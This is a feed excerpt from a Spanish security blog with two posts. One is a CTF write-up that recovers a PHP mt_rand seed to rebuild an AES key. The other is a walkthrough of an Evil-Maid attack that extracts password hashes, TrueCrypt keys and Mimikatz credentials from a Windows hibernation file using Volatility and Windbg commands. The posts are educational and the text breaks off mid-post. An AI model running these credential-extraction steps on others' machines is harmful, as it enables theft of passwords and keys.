<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7678234999586772610</atom:id><lastBuildDate>Tue, 07 May 2019 08:15:11 +0000</lastBuildDate><category>Herramientas</category><category>TestDeIntrusion</category><category>SeguridadWEB</category><category>SeguridadRedes</category><category>Conferencias</category><category>SeguridadWindows</category><category>Formacion</category><category>SANS</category><category>Exploiting</category><category>PentesterEs</category><category>Malware</category><category>metasploit</category><category>SeguridadNavegador</category><category>NocONName</category><category>Android</category><category>SegutidadRedes</category><category>ctf</category><category>BlackHat</category><category>DefCon</category><category>Delorean</category><category>NTP</category><category>zeroday</category><category>DoS</category><category>IngenieriaInversa</category><category>SOURCE</category><category>SeguridadInalambrica</category><category>GSIC</category><category>IncidentHandling</category><category>MitM</category><category>OWASP</category><category>SQLi</category><category>SeguridadLAN</category><category>SeguridadLinux</category><category>Forensics</category><category>Snort</category><category>Vulnerabilidad</category><category>WebAntigua</category><category>metaspoit</category><category>rootedcon</category><category>Nagios</category><category>covert channels</category><category>facecat</category><category>meterpreter</category><category>criptografia</category><category>iOS</category><category>Bindiffing</category><category>CheatsSheet</category><category>InformationGathering</category><category>Intrusiones</category><category>Oracle</category><category>Parches</category><category>SeguridadApple</category><category>SeguridadBBDD</category><category>SeguridadMoviles</category><category>Webcast</category><category>XSS</category><category>apache</category><category>AtaquesClasicos</category><category>BruteForce</category><category>CMDi</category><category>CSRF</category><category>Cifrado</category><category>ConectaCON</category><category>Esteganografia</category><category>Fingerprinting</category><category>LennyZeltser</category><category>MacOSX</category><category>Mimikatz</category><category>MySQL</category><category>SeguridadRedes dns</category><category>SeguridadWEB XSS</category><category>SeguridadWEB flash</category><category>Volatility</category><category>XPathi</category><category>apt</category><category>bsides</category><category>disclosure</category><category>hibernacion</category><category>information</category><category>inteco</category><category>php</category><category>tomcat</category><category>us-cert</category><title>Pentester.es</title><description>Seguridad de Sistemas Informáticos</description><link>http://www.pentester.es/</link><managingEditor>noreply@blogger.com (Jose Selvi)</managingEditor><generator>Blogger</generator><openSearch:totalResults>247</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1716805202905389993</guid><pubDate>Tue, 14 Nov 2017 08:00:00 +0000</pubDate><atom:updated>2017-11-14T09:00:14.527+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bsides</category><category domain="http://www.blogger.com/atom/ns#">criptografia</category><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>Undo Five/Nine (Crypto 300, Lisbon CTF)</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;La semana pasada tuve la oportunidad de participar en la parte presencial de CTF de las Bsides de Lisboa. Hice equipo con algunos compañeros e intentamos resolver algunas de las pruebas.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Uno de los retos en los que estuve trabajando fue &quot;Crypto 300: Undo Five/Nine&quot;. No anoté el enunciado del reto, pero basicamente te proporcionaban un trozo de código PHP &quot;&lt;i&gt;snip.php&lt;/i&gt;&quot; y otros dos ficheros: &quot;&lt;i&gt;readme.txt&lt;/i&gt;&quot; y &quot;&lt;i&gt;readme.txt.fsociety&lt;/i&gt;&quot;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Un vistazo rápido a &quot;&lt;i&gt;snip.php&lt;/i&gt;&quot; nos ayuda a entender como los otros dos ficheros son utilizados o generados:&lt;/div&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$crypted = fopen($file . &quot;.fsociety&quot;, &quot;w&quot;);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$fp = fopen($file, &quot;r+&quot;);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$clear = fread($fp, 2048);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;// destroy original file&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;destroy_file($fp,strlen($clear));&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;// generate unique key&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$key = gen_aes_key();&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$aes = new Crypt_AES(CRYPT_AES_MODE_ECB);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$aes-&amp;gt;setKeyLength(128);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$aes-&amp;gt;setKey($key);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;// create encrypted file&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$clear = $aes-&amp;gt;encrypt($clear);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;fwrite($crypted,$clear,strlen($clear));&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Como podemos ver, este código PHP lee un texto de &quot;&lt;i&gt;readme.txt&lt;/i&gt;&quot; y posteriormente destruye el fichero de algún modo. Seguidamente una clave de cifrado es generada y el texto es cifrado usando AES-128 en modo ECB. El texto cifrado es guardado en el fichero &quot;&lt;i&gt;readme.txt.fsociety&lt;/i&gt;&quot;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por lo que parece, deberíamos ser capaces de recuperar el texto original de algún modo. Como la clave no es almacenada, es evidente que nos encontramos con algún tipo de debilidad en la generación de la clave. Echemos un vistazo:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;function gen_aes_key() {&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp;$key = &quot;&quot;;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp;for ($i = 0;$i &amp;lt; 16;$i++)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; &lt;b&gt;&amp;nbsp;$key.= chr(mt_rand(0, 255));&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp;return $key;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;}&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Bueno, esto encaja con lo que pensabamos. La función &quot;&lt;a href=&quot;http://php.net/manual/es/function.mt-rand.php&quot; target=&quot;_blank&quot;&gt;mt_rand&lt;/a&gt;&quot; genera un valor aleatorio empleando el generador de números &quot;Mersenne Twister&quot;. Esta función, tal y como su documentación avisa, no es criptograficamente segura. Después de &quot;googlear&quot; un poco, encontré&amp;nbsp;&lt;a href=&quot;http://www.openwall.com/php_mt_seed/&quot; target=&quot;_blank&quot;&gt;más información sobre esta deficiencia&lt;/a&gt;, de donde se puede leer la siguiente información:&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&quot;Common misuses of mt_rand() include generation of anti-CSRF tokens, custom session tokens (not relying on PHP&#39;s builtin sessions support, which uses a different PRNG yet was also vulnerable until recently), password reset tokens, passwords, database backup filenames, etc. If one of these items is exposed and another is generated later without the web application or server reseeding the PRNG, then an attack is possible where the seed is cracked from the item generated earlier and is then used to infer the unknown item generated later.&quot;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por lo que dice, según parece debería haber al menos otra llamada a &quot;&lt;i&gt;mt_rand&lt;/i&gt;&quot; y deberíamos ser capaces de averiguar su resultado para ser capaces de explotar esta vulnerabilidad. Peguémosle un vistazo al código que define como se destruye el fichero original:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;function destroy_file($fp,$len) {&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; $random = &quot;&quot;;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; for ($i = 0;$i &amp;lt; $len;$i++)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; $random.= chr(mt_rand(0, 255));&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; fseek($fp, 0);&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; fwrite($fp, substr($random, 0, $len));&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; fclose($fp);&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;}&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Bingo! El fichero es sobreescrito con valores &quot;aleatorios&quot; generados con la misma función, lo cual quiere decir que si somos capaces de obtener la semilla, podríamos regenerar toda la secuencia de números a partir de esta, y obtener la clave de cifrado.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Vamos a ello! Estuve leyendo la documentación del&amp;nbsp;&lt;a href=&quot;http://www.openwall.com/php_mt_seed/&quot; target=&quot;_blank&quot;&gt;seed cracker&lt;/a&gt;, pero no resultó tan fácil como inicialmente pensé. Esta herramienta tiene varios modos de operación y no resulta obvio elegir los parámetros que necesitas. Finalmente, entendí que debía construir el comando de la siguiente forma:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$&amp;nbsp;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;./php_mt_seed [first_num] [first_num] 0 255 [second_num] [second_num] 0 255 ...&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pero como tenía unos cuantos bytes (los del fichero &quot;readme.txt&quot;), decidí generar los parámetros empleando algunas lineas de código PHP:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$fp = fopen(&quot;readme.txt&quot;, &quot;r+&quot;);&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$clear = str_split( fread($fp, 2048) );&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;foreach ($clear as $v) {&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; &amp;nbsp; echo ord($v) . &#39; &#39; . ord($v) . &quot; 0 255 &quot;;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;}&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Este código generó los parámetros que necesitaba, con los que lancé el seed cracker. Pasados un minuto o dos, obtuve la respuesta: &quot;&lt;b&gt;844114388&lt;/b&gt;&quot;. Ahora necesitamos generar toda la secuencia a partir de esta semilla. Para ello podemos usar de nuevo unas pocas lineas de código PHP:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;mt_srand(844114388);&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;for ($i = 0;$i &amp;lt; 64;$i++)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;&amp;nbsp; &amp;nbsp; echo chr(mt_rand(0, 255));&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Cuando generamos esta secuencia, podemos observar que los primeros valores coinciden con los valores contenidos en &quot;readme.txt&quot;. Después de esos bytes podemos observar la clave de cifrado (16 bytes).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$ php gen.php &amp;nbsp;| xxd&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;00000000: 7b36 0ee9 f9b9 1cfe d0bb d0e6 1311 5828 &amp;nbsp;{6............X(&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;00000010: fcfe 84a6 7453 03f6 85b6 e270 76c3 41f8 &amp;nbsp;....tS.....pv.A.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;00000020: aec4 9ca5 &lt;b&gt;f658 dda4 20f2 1c9f 5d14 b5b1&lt;/b&gt; &amp;nbsp;.....X.. ...]...&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;00000030: &lt;b&gt;beb5 1669&lt;/b&gt; 3135 31f9 30bc 9438 d0ac d0d6 &amp;nbsp;...i151.0..8....&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ya solo nos queda descifrar el fichero cifrado:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;$ openssl enc -aes-128-ecb -d -K &quot;f658dda420f21c9f5d14b5b1beb51669&quot; -in readme.txt.fsociety&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;margin-left: 2em;&quot;&gt;flag{the_darkarmy_is_now_on_to_you}&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¡Bang! ¡Conseguido! Desafortunadamente no fui capaz de puntuar con el flag ¿Por qué? Por dos motivos. El primero porque, por alguna razón, tenía en la cabeza que &quot;snip.php&quot; estaba generando enteros y luego truncandolos a byte, así que estuve cerca de una hora intentando entender el código y modificarlo para ajustarlo a esta circunstancia. El segundo porque el código que estaba escribiendo contra-reloj para descifrar el mensaje me dio un &quot;syntax error&quot; 10 segundos antes de que se acabara el tiempo del CTF, así que ya no pude arreglarlo a tiempo. En cualquier caso, me lo pasé muy bien en el CTF :)&lt;/div&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2017/11/undo-fivenine.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2701476053556275200</guid><pubDate>Mon, 19 Dec 2016 08:30:00 +0000</pubDate><atom:updated>2016-12-19T09:30:08.826+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hibernacion</category><category domain="http://www.blogger.com/atom/ns#">Mimikatz</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><category domain="http://www.blogger.com/atom/ns#">Volatility</category><title>Ataques Evil-Maid con Hibernación</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;He colgado la charla que di en la última RootedCon Valencia sobre la &lt;a href=&quot;http://www.slideshare.net/rpinuaga/bad-hibernationrooted&quot;&gt;técnica de ataque Evil-Maid explotando el fichero de hibernación de Windows&lt;/a&gt;. &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Esta técnica no es nueva (ni la he descubierto yo), pero esta poco documentada.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;También he hablado de este tipo de ataques, de forma más general en el &lt;a href=&quot;http://www.areopago21.org/2016/09/ataques-evil-maid_21.html&quot;&gt;blog de Areopago21&lt;/a&gt;. &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En este post voy a centrarme más en la parte práctica.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Resumiendo: Si conseguimos acceso físico a un equipo y este esta encendido (pero bloqueado) o suspendido. Podemos intentar recuperar la información volátil critica (identificadores de sesión, contraseñas en claro, llaves de cifrado) del fichero de hibernación.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para obtener el fichero de hibernación, tendremos que extraerlo del disco duro. Bien arrancando desde un dispositivo externo (Linux para forense, Hirens bootcd, etc.) o bien sacando el disco duro del equipo. Si el disco está cifrado, se complica la cosa.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Este fichero está en la raíz del disco: c:\hiberfyl.sys. Desde el propio Windows el fichero está oculto por defecto y bloqueado de forma que no puede ser leído.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El fichero de hibernación&amp;nbsp; nunca se borra, solo se modifica su cabecera cuando ha sido usado para reiniciar. De forma que si el equipo alguna vez se ha hibernado, vamos a tener este fichero ya creado. Sino, tenemos que forzar al equipo a hibernarse. &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Esto es posible aunque el equipo este bloqueado, si el usuario tiene activa la opción de hibernación:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-631228_jGRI/WFalKSNOo8I/AAAAAAAAANY/pPsidpi4csAXKNEYJgEg-39Pzdj6yRWRwCEw/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;321&quot; src=&quot;https://3.bp.blogspot.com/-631228_jGRI/WFalKSNOo8I/AAAAAAAAANY/pPsidpi4csAXKNEYJgEg-39Pzdj6yRWRwCEw/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por desgracia, a partir de Windows 7, la opción de hibernación viene deshabilitada por defecto. Aunque algunos fabricantes de portátiles la activan.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por suerte, existe otra forma de forzar el hibernado. Si la batería llega a nivel crítico el equipo se hiberna de forma automática. Configurado por defecto en todas las versiones de Windows incluso en Windows 10.&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-5Vh40PEUkpM/WFalUUOnIKI/AAAAAAAAANY/VRILugS6Mls6j2rJSxETv9DRinGzoS_uACEw/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://1.bp.blogspot.com/-5Vh40PEUkpM/WFalUUOnIKI/AAAAAAAAANY/VRILugS6Mls6j2rJSxETv9DRinGzoS_uACEw/s400/2.png&quot; width=&quot;361&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Una vez tenemos el fichero de hibernación ya podemos trabajar sobre él.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La herramienta básica para esta tarea es Volatility, con ella podemos entre otras cosas:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Obtener información sobre el fichero de hibernación: vol.exe hibinfo -f hiberfil.sys &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Convertirlo a formato raw: vol.exe imagecopy -f hiberfil.sys -O hiberfil.bin&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Convertirlo a formado DMP (compatible con Windbg): vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Obtener datos de navegación: vol.exe iehistory -f hiberfil.sys&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Obtener hashes de contraseñas locales: vol.exe hashdump -f hiberfil.sys&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Obtener llaves de cifrado Truecrypt: vol.exe truecryptpassphrase -f hiberfil.sys&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ejemplo de uso de Volatility:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-ZRT_nA6dSY0/WFalmr61FXI/AAAAAAAAANY/mz1qR5mOSrspWJ4sDZ7sM5voR7ej7sBowCEw/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;110&quot; src=&quot;https://3.bp.blogspot.com/-ZRT_nA6dSY0/WFalmr61FXI/AAAAAAAAANY/mz1qR5mOSrspWJ4sDZ7sM5voR7ej7sBowCEw/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;También tenemos múltiples &lt;a href=&quot;https://github.com/volatilityfoundation/community&quot;&gt;plugins de la comunidad&lt;/a&gt; para otras tareas: mimikatz, bitlocker, bitcoin, etc.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Para la conversión también podemos utilizar las &lt;a href=&quot;https://blog.comae.io/your-favorite-memory-toolkit-is-back-f97072d33d5c#.6ioe7f777&quot;&gt;herramientas de Matt Suiche&lt;/a&gt; (recién actualizadas), antes conocidas como MoonSols Windows Memory Toolkit. Funcionan mejor que Volatility y soportan todas las versiones de Windows hasta Windows 10.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A pesar de que tenemos un plugin de Mimikatz para Volatility es bastante limitado así que es mucho mejor trabajar directamente con Mimikatz. Para ello tenemos que:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Convertir el fichero hiberfil.sys a un formato manejable por Windbg (DMP):&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;vol.exe raw2dmp -f hiberfil.sys -O hiberfil.dmp –profile=Win7SP0x64&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Cargar el DMP en Windbg:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;.symfix =&amp;gt; Configura los repositorios de símbolos de Microsoft&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;.reload =&amp;gt; Recarga los símbolos necesarios &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;.load wow64exts =&amp;gt; Carga el modulo para hacer debug de procesos WOW64&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;!wow64exts.sw =&amp;gt; Activa las extensiones WOW64&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;•&amp;nbsp;Cargar el módulo de Mimikatz en Windbg:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;.load c:\Users\rpinuaga\Desktop\bad-hibernation\demo\mimilib64.dll =&amp;gt; Carga el módulo de Mimikatz&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;!process 0 0 lsass.exe =&amp;gt; Busca el proceso de lsass (Local Security Authority Subsystem Service)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;.process /r /p fffffa800424e910 =&amp;gt; Configura el contexto al proceso de lsass&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp; o&amp;nbsp;!mimikatz&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Y listo, aquí tenemos el resultado:&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a 